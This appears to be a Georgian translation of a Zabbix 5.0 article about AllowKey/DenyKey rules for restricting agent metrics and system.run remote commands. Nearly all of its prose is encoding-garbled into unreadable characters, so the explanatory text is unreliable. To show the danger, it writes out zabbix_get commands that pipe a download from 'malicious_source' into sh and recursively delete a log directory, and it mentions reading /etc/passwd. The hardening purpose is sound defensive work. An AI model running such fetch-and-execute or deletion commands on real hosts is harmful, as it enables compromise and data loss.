แจแแแ แกแแแก แแ แแแแ แ แกแแแก แแฎแแ แแแญแแ แ แแแแแขแแก แแฎแแ แแก แแแขแ แแแแแแกแแแแก
แขแแฎแแ แฃแกแแแแ, แแแขแแแ แแชแแแก แแแแแแแ แ, Zabbix
แแแแแชแแแแ แฃแกแแคแ แแฎแแแแแก แกแแแแแฎแแแ
Zabbix 5.0-แก แแฅแแก แแฎแแแ แคแฃแแฅแชแแ, แ แแแแแแช แกแแจแฃแแแแแแก แแแซแแแแ แแแแฃแแฏแแแแกแแ แฃแกแแคแ แแฎแแแแ แกแแกแขแแแแแจแ Zabbix Agent-แแก แแแแแงแแแแแแ แแ แจแแชแแแแแก แซแแแแ แแแ แแแแขแ แ แฉแแ แแแ RemoteCommands.
แแแแแขแแ แแแคแฃแซแแแแฃแแ แกแแกแขแแแแแแก แฃแกแแคแ แแฎแแแแแก แแแฃแแฏแแแแกแแแ แแแแแแแแแแ แแแแก แแฅแแแแ, แ แแ แแแแแขแก แจแแฃแซแแแ แจแแแกแ แฃแแแก แแแแ แ แแแแแแแแแ แแแขแแแชแแฃแ แแ แกแแจแแจแ แแแฅแแแแแแแแ.
- แแแแแขแก แจแแฃแซแแแ แจแแแแ แแแแก แแแแฅแแแก แแแแแกแแแแ แ แแแคแแ แแแชแแ, แแแแคแแแแแชแแแแฃแ แ แแ แแแขแแแชแแฃแ แแ แกแแจแแจแ แแแคแแ แแแชแแแก แฉแแแแแแ, แแแแคแแแฃแ แแชแแแก แคแแแแแแแแแ, แแฃแ แแแแแก แคแแแแแแแแแ, แแแ แแแแก แคแแแแแแแแแ แแ แกแฎแแ แคแแแแแแแแแ.
แแแแแแแแแ, zabbix_get แฃแขแแแแขแแก แแแแแงแแแแแแ, แจแแแแซแแแแ แจแแฎแแแแแ แแแแฎแแแ แแแแแแ แกแแแแ, แแแแ แกแแฎแแแก แแแ แแฅแขแแ แแแจแ, แแแ แแแแก แคแแแแแแแ แแ แ.แจ.
แแแแแชแแแแแแ แฌแแแแแ zabbix_get แฃแขแแแแขแแก แแแแแงแแแแแแ
แจแแแแจแแแ. แแแแแชแแแแแแก แแแฆแแแ แจแแกแแซแแแแแแแ แแฎแแแแ แแ แจแแแแฎแแแแแจแ, แแฃ แแแแแขแก แแฅแแก แฌแแแแแฎแแแก แฃแคแแแแ แจแแกแแแแแแก แคแแแแแ. แแแแ แแ, แแแแแแแแแ, แคแแแแ /etc/passwd/ แแแแแฎแแแ แงแแแแ แแแแฎแแแ แแแแแก แแแแ .
- แแแแแขแก แแกแแแ แจแแฃแซแแแ แจแแแกแ แฃแแแก แแแขแแแชแแฃแ แแ แกแแจแแจแ แแ แซแแแแแแแ. แแแแแแแแแ, แแแกแแฆแแแ *system.run[]** แกแแจแฃแแแแแแก แแแซแแแแ แจแแแกแ แฃแแแ แแแแแกแแแแ แ แแแกแขแแแชแแฃแ แ แแ แซแแแแแ แฅแกแแแแก แแแแแซแแแแ, แแแ แจแแ แแก แกแแ แแแขแแแแก แแแจแแแแ Zabbix แแแ แแแขแแ แคแแแกแแแแ, แ แแแแแแแช แแกแแแ แแกแ แฃแแแแแ แแ แซแแแแแแแก แแแแแขแแก แแฎแแ แแก.
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]
# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]
- Linux-แแ แแแแแขแ แแแแฃแแแกแฎแแแแแ แแฃแจแแแแก root แแ แแแแแแแแแแแก แแแ แแจแ, แฎแแแ Windows-แแ แแฃแจแแแแก แ แแแแ แช แกแแ แแแกแ, แ แแแแ แช แกแแกแขแแแ แแ แแฅแแก แจแแฃแแฆแฃแแแแ แฌแแแแแ แคแแแแฃแ แกแแกแขแแแแแ. แจแแกแแแแแแกแแ, แแฃ แแแกแขแแแแชแแแก แจแแแแแ Zabbix Agent แแแ แแแแขแ แแแจแ แชแแแแแแแแแ แแ แแแแฎแแ แชแแแแแแแ, แแแแแขแก แแฅแแก แฌแแแแแ แ แแแกแขแ แแ, แคแแแแฃแ แกแแกแขแแแแแ แแ แจแแฃแซแแแ WMI แแแแฎแแแแแแแก แจแแกแ แฃแแแแ.
แฌแแแ แแแ แกแแแแจแ แแแ แแแแขแ แ EnableRemoteCommands=0 แแแกแแจแแแแแ แแฎแแแแ แแแขแ แแแแก แแแแแ แแแ แแแกแแฆแแแแ *system.run[]** แแ แแแจแแแแฃแแ แกแแ แแแขแแแ แแแ-แแแขแแ แคแแแกแแแแ, แแแแ แแ แแ แแ แกแแแแแแ แแแ, แ แแ แจแแแแฆแฃแแแ แฌแแแแแ แชแแแแแฃแ แคแแแแแแแ, แแแฃแจแแแ แแ แแแแแ แแแ แชแแแแแฃแแ แแแแแแจแแแ, แ แแแแแแแช แแแแแกแขแแแแ แแแฃแแ แแงแ แแแแแขแแแ, แแ แจแแแฆแฃแแแ แแแแแแแแฃแแแฃแ แ แแแ แแแแขแ แแแแก แแแแแงแแแแแ.
EnableRemoteCommand แแแ แแแแขแ แแก แแแแแงแแแแแ Zabbix-แแก แแแ แแแแแ แแแ แกแแแแจแ
AllowKey/DenyKey
Zabbix 5.0 แแแแฎแแแ แแแ แแแชแแแจแ แแกแแแ แแ แแแแขแแ แแแแแฃแแ แฌแแแแแแกแแแ, แแแแ แกแแแแแกแ แแ แจแแแ แกแแแแแก แแแฌแแแแแแ แแแแแขแแก แแฎแแ แแก แแแขแ แแแแก แแแจแแแแแกแ แแ แฃแแ แงแแคแแกแแแแก.
Zabbix 5.0-แจแ แงแแแแ แแแกแแฆแแแ, แแแ แจแแ แแก *system.run[]** แฉแแ แแฃแแแ แแ แแแแแขแแแฃแแแ แแแแแขแแก แแแแคแแแฃแ แแชแแแก แแ แ แแฎแแแ แแแ แแแแขแ:
AllowKey= - แแแแแแแ แแฃแแ แจแแแแฌแแแแแแ;
DenyKey= โ แแแ แซแแแฃแแ แฉแแแแแ;
แกแแแแช แแ แแก แแแกแแฆแแแแก แกแแฎแแแแก แแแแฃแจแ แแแ แแแแขแ แแแแ, แ แแแแแแช แแงแแแแแก แแแขแแแแจแแแแก (*).
AllowKey แแ DenyKey แแแแแแจแแแ แกแแจแฃแแแแแแก แแแซแแแแ แแแฃแจแแแ แแ แฃแแ แงแแ แแแแแแแแฃแแแฃแ แ แแแขแ แแแ แแแแแ แแขแฃแแ แแแแฃแจแแก แกแแคแฃแซแแแแแ. แกแฎแแ แแแแคแแแฃแ แแชแแแก แแแ แแแแขแ แแแแกแแแ แแแแกแฎแแแแแแแ, AllowKey/DenyKey แแแ แแแแขแ แแแแก แ แแแแแแแแ แจแแแฆแฃแแฃแแ แแ แแ แแก. แแก แกแแจแฃแแแแแแก แแแซแแแแ แแแแคแแแ แแแแกแแแฆแแ แแ, แแฃ แ แแกแ แแแแแแแแ แจแแฃแซแแแ แแแแแขแก แกแแกแขแแแแจแ แจแแแแฌแแแแแก แฎแแก แจแแฅแแแแ - แจแแกแ แฃแแแแแแ แแแกแแฆแแแแแ, แกแแแแช แแแแ แแแฌแแ แแก แแแแแแแแแแ แแแ แซแแแแแ แแแแจแแแแแแแแ แ แแแก แแกแ แฃแแแแก.
แฌแแกแแแแก แแแแแแแแแแ แแแ
แฌแแกแแแ แจแแแแฌแแแแฃแแแ แแ แแแแแแแแแแ แแแแ, แ แแแแแแแช แแกแแแ แจแแแแก แแแแคแแแฃแ แแชแแแก แคแแแแจแ. แแแกแแฆแแแ แแแฌแแแแแ แฌแแกแแแแก แแแฎแแแแแ แแแ แแแ แแแขแฉแแแแ แแ แ แแแแ แช แแ แแแแแชแแแแ แแแแแแแขแแก แแแกแแฆแแแ แแแแฎแแแแ แจแแแแแแก, แแก แแแจแแแแฃแแแ แแ แฃแแ แงแแคแแแแ. แแแแก แจแแแแแ แฌแแกแแแแก แจแแแแฌแแแแ แฉแแ แแแแ แแ แแแ แฉแแแแแ แแแกแแฆแแแแแ แแแแแ แแ แแแฃแแแ.
แแแแขแแ, แแฃ แแแแแแแขแ แแแแฎแแแแ แแแจแแแแแก แแ แฃแแ แงแแคแแก แฌแแกแก, แจแแแแแ แแแแแแแแแแฃแแ แแฅแแแแ แแแแแ, แแฃ แ แแแแแ แฌแแกแแ แแแ แแแแ แแแแคแแแฃแ แแชแแแก แคแแแแจแ.
2 แแแแกแฎแแแแแแฃแแ แฌแแกแ แแ แแ แแ แแแแแ แแแแฃแจแแ แแ แแแกแแฆแแแแ vfs.file.size[/tmp/file]
AllowKey/DenyKey แแแแแแจแแแแก แแแแแงแแแแแแก แแแแแแแแแแ แแแ:
- แแฃแกแขแ แฌแแกแแแ,
- แซแแ แแแแแ แฌแแกแแแ,
- แแแแ แซแแแแแ แฌแแกแ.
แแแแแแแแแ, แแฃ แแญแแ แแแแแ แฌแแแแแ แคแแแแแแแ แแแ แแแแฃแ แกแแฅแแฆแแแแแจแ, แฏแแ แฃแแแ แแแฃแจแแแ แแแแแ แฌแแแแแ แแ แจแแแแแ แฃแแ แงแแ แงแแแแแคแแ แ, แ แแช แแ แจแแแแก แแแแแแแแ แแแแแ แแแแแจแ. แแฃ แแแ แแแ แ แแแจแ แแแแแแงแแแแแ แฃแแ แงแแคแแก แฌแแกแก, แกแแฅแแฆแแแแแแ แฌแแแแแ แแแ แซแแแฃแแ แแฅแแแแ.
แกแฌแแ แ แแแแแแแแแแ แแแ
แแฃ แแญแแ แแแแแ 2 แแแแฃแแแแฃแ แ แแ แแแ แแแแก แแแจแแแแแก แฃแคแแแแ *system.run[]** แแ แฏแแ แแแแแแแแแ แฃแแ แงแแคแแก แฌแแกแ, แแแแฃแแแแฃแ แ แแ แแแ แแแแแ แแ แแแแฅแแแแแแแ, แ แแแแแ แแแ แแแแ แแแแฃแจแ แงแแแแแแแแก แแแแฎแแแแ แแแแแกแแแแ แแแแแแจแก แแ แจแแแแแแแ แฌแแกแแแ แแแแแ แแ แแแฃแแ แแฅแแแแ.
แแ แแกแฌแแ แ แแแแแแแแแแ แแแ
แจแแแแแแแแ
แซแแ แแแแ แฌแแกแแแก
Pattern แแ แแก แแแแแฎแแขแฃแแแแ wildcards-แแ. แแแขแแแแจแแแ (*) แแแแฎแแแแ แแแแแกแแแแ แ แกแแแแแแแก แแแแแกแแแแ แ แแแแแแแแแก แแแแแ แแขแฃแ แแแแแชแแแแ. แแแขแแแแจแแแแแ แจแแแซแแแแ แแแแแงแแแแแฃแ แแฅแแแก แ แแแแ แช แแแกแแฆแแแแก แกแแฎแแแจแ, แแกแแแ แแแ แแแแขแ แแแจแ. แแแแแแแแแ, แจแแแแซแแแแ แแแแชแ แแ แแแแกแแแฆแแ แแ แแแ แแแแ แแแ แแแแขแ แ แขแแฅแกแขแแ, แแ แแแฃแแแแแ แจแแแแแแ, แ แแแแ แช wildcard.
แแแ แแแแขแ แแแ แฃแแแ แแงแแก แฉแแกแแฃแแ แแแแแ แแขแฃแ แคแ แฉแฎแแแแแจแ [].
system.run[*
- แแ แแกแฌแแ แvfs.file*.txt]
- แแ แแกแฌแแ แvfs.file.*[*]
- แแแ แแแแแ
wildcard-แแก แแแแแงแแแแแแก แแแแแแแแแแ.
- แแแกแแฆแแแแก แกแแฎแแแจแ แแ แแแ แแแแขแ แจแ. แแ แจแแแแฎแแแแแจแ, แแแกแแฆแแแ แแ แจแแแกแแแแแแแ แแกแแแแก แแแแแแจแก, แ แแแแแแช แแ แจแแแชแแแก แแแ แแแแขแ แก, แ แแแแแ แจแแแแแแจแ แฉแแแ แแแแฃแแแแแ, แ แแ แแแแแแ แแแแแฆแแ แแแกแแฆแแแแก แกแแฎแแแแก แแแ แแแแฃแแ แแแแแแแแแ แแ แแแ แแแแขแ แแแแก แแแ แแแแฃแแ แแแแ แแแ.
- แแฃ แแแแฃแจแ แแ แแงแแแแแก แแแแแ แแขแฃแ แคแ แฉแฎแแแแแก, แแแแฃแจแ แกแแจแฃแแแแแแก แแซแแแแก แงแแแแ แแแแแแจแก, แ แแแแแแช แแ แจแแแชแแแก แแแ แแแแขแ แแแก แแ แฃแแ แงแแคแก แงแแแแ แแแแแแจแก, แ แแแแแแช แจแแแชแแแก แแแแแแแแฃแ แแแ แแแแขแ แก.
- แแฃ แแแกแแฆแแแ แกแ แฃแแแ แแ แแก แแแฌแแ แแแ แแ แแแ แแแแขแ แแแ แแแแแแแแฃแแแ แ แแแแ แช wildcard, แแก แแแแแแฎแแแแ แแแแแกแแแแ แแกแแแแก แแแแแแจแก แแแแแกแแแแ แแแ แแแแขแ แก แแ แแ แแแแฎแแแแ แแแกแแฆแแแก แแแแแ แแขแฃแแ แคแ แฉแฎแแแแแแก แแแ แแจแ, แแแฃ แแแจแแแแฃแแ แแฅแแแแ แแ แฃแแ แงแแคแแแ แแฅแแแแ.
แแแ แแแแขแ แแแแก แจแแแกแแแแก แฌแแกแแแ.
- แแฃ แแแ แแแแขแ แแแแแ แแแแแแจแแก แแแแแงแแแแแ แแแแแแแแ, แแแ แแแแขแ แแแ แฃแแแ แแงแแก แแแแแแแแฃแแ แแแแคแแแฃแ แแชแแแก แคแแแแจแ. แแแ แแแแขแ แแแ แฃแแแ แแงแแก แแแแแแแแฃแแ, แ แแแแ แช แแแขแแแแจแแแ. แกแแญแแ แแ แแฃแแแแกแแแ แฃแแ แ แแฅแแแ แแแแแกแแแแ แคแแแแแ แฌแแแแแแแ แแ แแแแแแแแแแกแฌแแแแ, แแฃ แ แ แแแคแแ แแแชแแแก แแแฌแแแแแ แจแแฃแซแแแ แแแขแ แฃแแก แกแฎแแแแแกแฎแแ แแแ แแแฌแแ แแก แแแฎแแแแแ - แแแ แแแแขแ แแแแ แแ แแแก แแแ แแจแ.
แแแ แแแแขแ แแแแ แแแกแแฆแแแแแแก แฉแแฌแแ แแก แแแแแกแแแฃแ แแแแแ
- แแฃ แแแกแแฆแแแ แแแแแแแแฃแแแ แแแ แแแแขแ แแแแ, แแแแ แแ แแแ แแแแขแ แแแ แแ แฉแแแแแแ แแ แแแแแแแแฃแแแ, แ แแแแ แช แแแขแแแแจแแแ, แแแ แแแแขแ แแก แแแ แแจแ แแแกแแฆแแแ แแแแแฌแงแแแแ. แแแแแแแแแ, แแฃ แแกแฃแ แ แแแแแ แแแ แแแคแแ แแแชแแแก แแแฆแแแ CPU-แแ แแแขแแแ แแแแก แจแแกแแฎแแ แแ แแแฃแแแแแ, แ แแ system.cpu.load[*] แแแกแแฆแแแ แฃแแแ แแงแแก แแแแแ แแฃแแ, แแ แฃแแแ แแแแแแแแฌแงแแแก, แ แแ แแแกแแฆแแแ แแแ แแแแขแ แแแแก แแแ แแจแ แแแแแ แฃแแแแก แแแขแแแ แแแแก แกแแจแฃแแแ แแแแจแแแแแแแแก.
แแแ แแแแขแ แแแแก แจแแแกแแแแก แฌแแกแแแ
แจแแแแจแแแแแ
แ แแแฃแแแ แแแ
- แแแแแแ แแ แฌแแกแแก แจแแชแแแ แจแแฃแซแแแแแแแ แแแแฎแแแ แแแแแก แแแแ , แแแแแแแแแ, แแฆแแแฉแแแแก แฌแแกแแแ แแ แแแแแขแแก แแแขแแแแขแฃแ แ แ แแแแกแขแ แแชแแแก แฌแแกแแแ. AllowKey/DenyKey แฌแแกแแแ แแ แแแฅแแแแแแก แจแแแแแ แแแ แแแแขแ แแแแ:
- HostnameItem
- HostMetadataItem
- HostInterfaceItem
แจแแแแจแแแ. แแฃ แแแแแแแกแขแ แแขแแ แ แแแแแจแแแก แแแกแแฆแแแก, แแแแฎแแแแแกแแก Zabbix แแ แแแแฌแแแแก แแแคแแ แแแชแแแก แแแแก แจแแกแแฎแแ, แแฃ แ แแขแแ แแแฎแแแแแ แแแขแ แแแ แแ แแแกแแฆแแแ " แแแขแแแแ แแแจแแฒแฒ แฒแฒ แฒแฒก แฒแฒฎแฒแฒ แฒแฒแฒญแฒแฒ แฒแฒแฒ'. แแแคแแ แแแชแแ แแแกแขแแแชแแฃแ แ แแ แซแแแแแแแแก แจแแกแ แฃแแแแแก แแแ แซแแแแแแแก แจแแกแแฎแแ แแกแแแ แแ แแ แแก แแแฉแแแแแแ แแแแแขแแก แแฃแ แแแแแก แคแแแแแแจแ. แแก แแ แแก แฃแกแแคแ แแฎแแแแแก แแแแแแแแแก แแแแ, แแแแ แแ แจแแแซแแแแ แแแแ แแฃแแแก แแแแแ แแแ, แแฃ แแแขแ แแแ แ แแแแ แแแแแแแ แแแฎแแแแแ แแฎแแ แแแฃแญแแ แแ แแแขแแแแ แแแจแ.
- แแฅแแแ แแ แฃแแแ แแแแงแ แแแแ แ แแแแ แแแแแ แแขแฃแ แแแแแแแแแแ แแแแก แแแ แ แแแแคแแแฃแ แแชแแแก แคแแแแแแแก แแแกแแแแแจแแ แแแแแ (แแแแแแแแแ, แแแแแแฃแ แ แแแแแแแแแแ แแแแ).
Command Line Utilities
แฌแแกแแแแก แแแงแแแแแแก แจแแแแแ, แแฅแแแ แฃแแแ แแแ แฌแแฃแแแแ, แ แแ แงแแแแแคแแ แ แกแฌแแ แแ แแ แแก แแแแคแแแฃแ แแ แแแฃแแ.
แจแแแแซแแแแ แแแแแแงแแแแ แกแแแ แแแ แแแแขแแแแ แแ แแ:
- แแแแแแขแแ แแแขแ แแแ Zabbix-แก.
- แขแแกแขแแ แแแแกแแแ แแ แแแ zabbix_agentd. Zabbix แแแแแขแ แแคแชแแแ -แแแญแแแ (-p) แแฉแแแแแแก แงแแแแ แแแแแแจแก (แ แแแแแแแช แแแแฃแแแกแฎแแแแแ แแ แแก แแแจแแแแฃแแ) แแแ แแ แแ แแแแแแจแแแแกแ, แ แแแแแแแช แแ แแ แแก แแแจแแแแฃแแ แแแแคแแแฃแ แแชแแแ. แแแแแช แแแ แแแแขแแ -แขแแกแขแ (-t) แ แแแแแ แแแ แซแแแฃแแ แแแกแแฆแแแ แแแแ แฃแแแแแ'แแฎแแ แแแฃแญแแ แแแ แแแแแแแขแแก แแแกแแฆแแแ".
- แขแแกแขแแ แแแแกแแแ แแ แแแ zabbix_get. แแแแฃแแแแฃแ แ zabbix_get แแแ แแแแขแแ -k แแแแ แฃแแแแแ 'ZBX_NOTSUPPORTED: แฃแชแแแแ แแแขแ แแแ".
แแแจแแแแ แแ แฃแแ แงแแคแ
แจแแแแซแแแแ แฃแแ แงแแ แคแแแแแ แฌแแแแแ แแ แแแแแแแแฌแแแ, แแแแแแแแแ, แแแแฃแแแแฃแ แ แแ แแแ แแแแก แแแแแงแแแแแแ zabbix_getแ แแ แคแแแแแ แฌแแแแแ แแแ แซแแแฃแแแ.
**
แจแแแแจแแแ. แแแ แแแแขแ แแแจแ แชแแขแแขแแแ แแแแแ แแ แแแฃแแแ.
แแ แจแแแแฎแแแแแจแ, แแกแแ แคแแแแแ แฌแแแแแ แจแแแซแแแแ แแแจแแแแฃแแ แแงแแก แกแฎแแ แแแแ. แแแแแแแแแ, แแฃ แกแแแแแแแ แแแแงแแแแ แ แแแก.
แ แแแแแแแแแแฃแแแ แแแแแแแแฃแแ แฌแแกแแแแก แแแแแงแแแแแแก แกแฎแแแแแกแฎแแ แแแ แแแแขแแแแก แจแแแแฌแแแแ แแ แแกแแแ แแแ แซแแแแแแแก แแแแ แแแก แแแแแก แจแแกแแซแแแแแแแแแแก แแแแแแแแกแฌแแแแแ.
แแแแฎแแแแ แแ แแแกแฃแฎแแแ
แแแแฎแแ. แ แแขแแ แแแ แฉแแแก แแกแแแ แ แแฃแแ แแแแฃแจแ แกแแแฃแแแ แ แแแแ แฌแแกแแแแก, แแแแแ แแแแแแกแ แแ แแแ แซแแแแแแแก แแฆแกแแฌแแ แแ? แ แแขแแ แแ แแงแ แจแแกแแซแแแแแแ, แแแแแแแแแ, แ แแแฃแแแ แฃแแ แแแแแแแแฅแแแแแแแก แแแแแงแแแแแ, แ แแแแแแกแแช Zabbix แแงแแแแแก?
แแแกแฃแฎแ. แแก แแ แแก แ แแแแฅแกแแก แจแแกแ แฃแแแแแก แกแแแแแฎแ, แ แแแแแ แฉแแแฃแแแแ แแ แแฎแแแแ แแ แแ แแแแแขแแ แแ แแก แแแแฌแแแแก แแแขแ แแแแก แฃแแแ แแแแแ แ แแแแแแแแแก. Regex แกแแแแแแ แแซแแแ แแแแ แแชแแแ แแ แแกแ แแแแกแแแแ แแแขแ แแแแก แแแ แจแแแแแแฌแแแแ. Wildcards - แฃแแแแแ แกแแแฃแ แ, แคแแ แแแ แแแแแงแแแแแฃแแ แแ แแแ แขแแแ แแแแแกแแแแแ.
แแแแฎแแ. Include แคแแแแแแ แแ แจแแแแก แแแแแแฃแ แ แแแแแแแแแแ แแแแ?
แแแกแฃแฎแ. แ แแแแแแแแแช แแ แแแชแ, แแ แแฅแขแแแฃแแแ แจแแฃแซแแแแแแแ แแแแก แแ แแแแแแแ แแแ, แแฃ แ แ แแแแแแแแแแ แแแแ แแฅแแแแ แแแแแงแแแแแฃแแ แฌแแกแแแ, แแฃ แแฅแแแ แแแแแ แชแแแแแ แฌแแกแแแก แกแฎแแแแแกแฎแแ แคแแแแจแ. แแแ แฉแแแ แจแแแแ แแแแ แงแแแแ AllowKey/DenyKey แฌแแกแ แแ แ Include แคแแแแจแ, แ แแแแแ แแกแแแ แฃแ แแแแ แแฅแแแแแแแ แแ แแแแแแแแแ แแ แแ แคแแแแแก แฉแแแแแแ.
แแแแฎแแ. Zabbix 5.0-แจแ แแ แแก แแแ แแแแขแ "EnableRemoteCommands=' แแแแแ แแแแคแแแฃแ แแชแแแก แคแแแแก แแ แแฎแแแแ AllowKey/DenyKey แแ แแก แฎแแแแแกแแฌแแแแแ?
แฃแแแกแฃแฎแ. แแแแฎ แแก แกแฌแแ แแ.
แแแแ แแแแแแแ!
แฌแงแแ แ: www.habr.com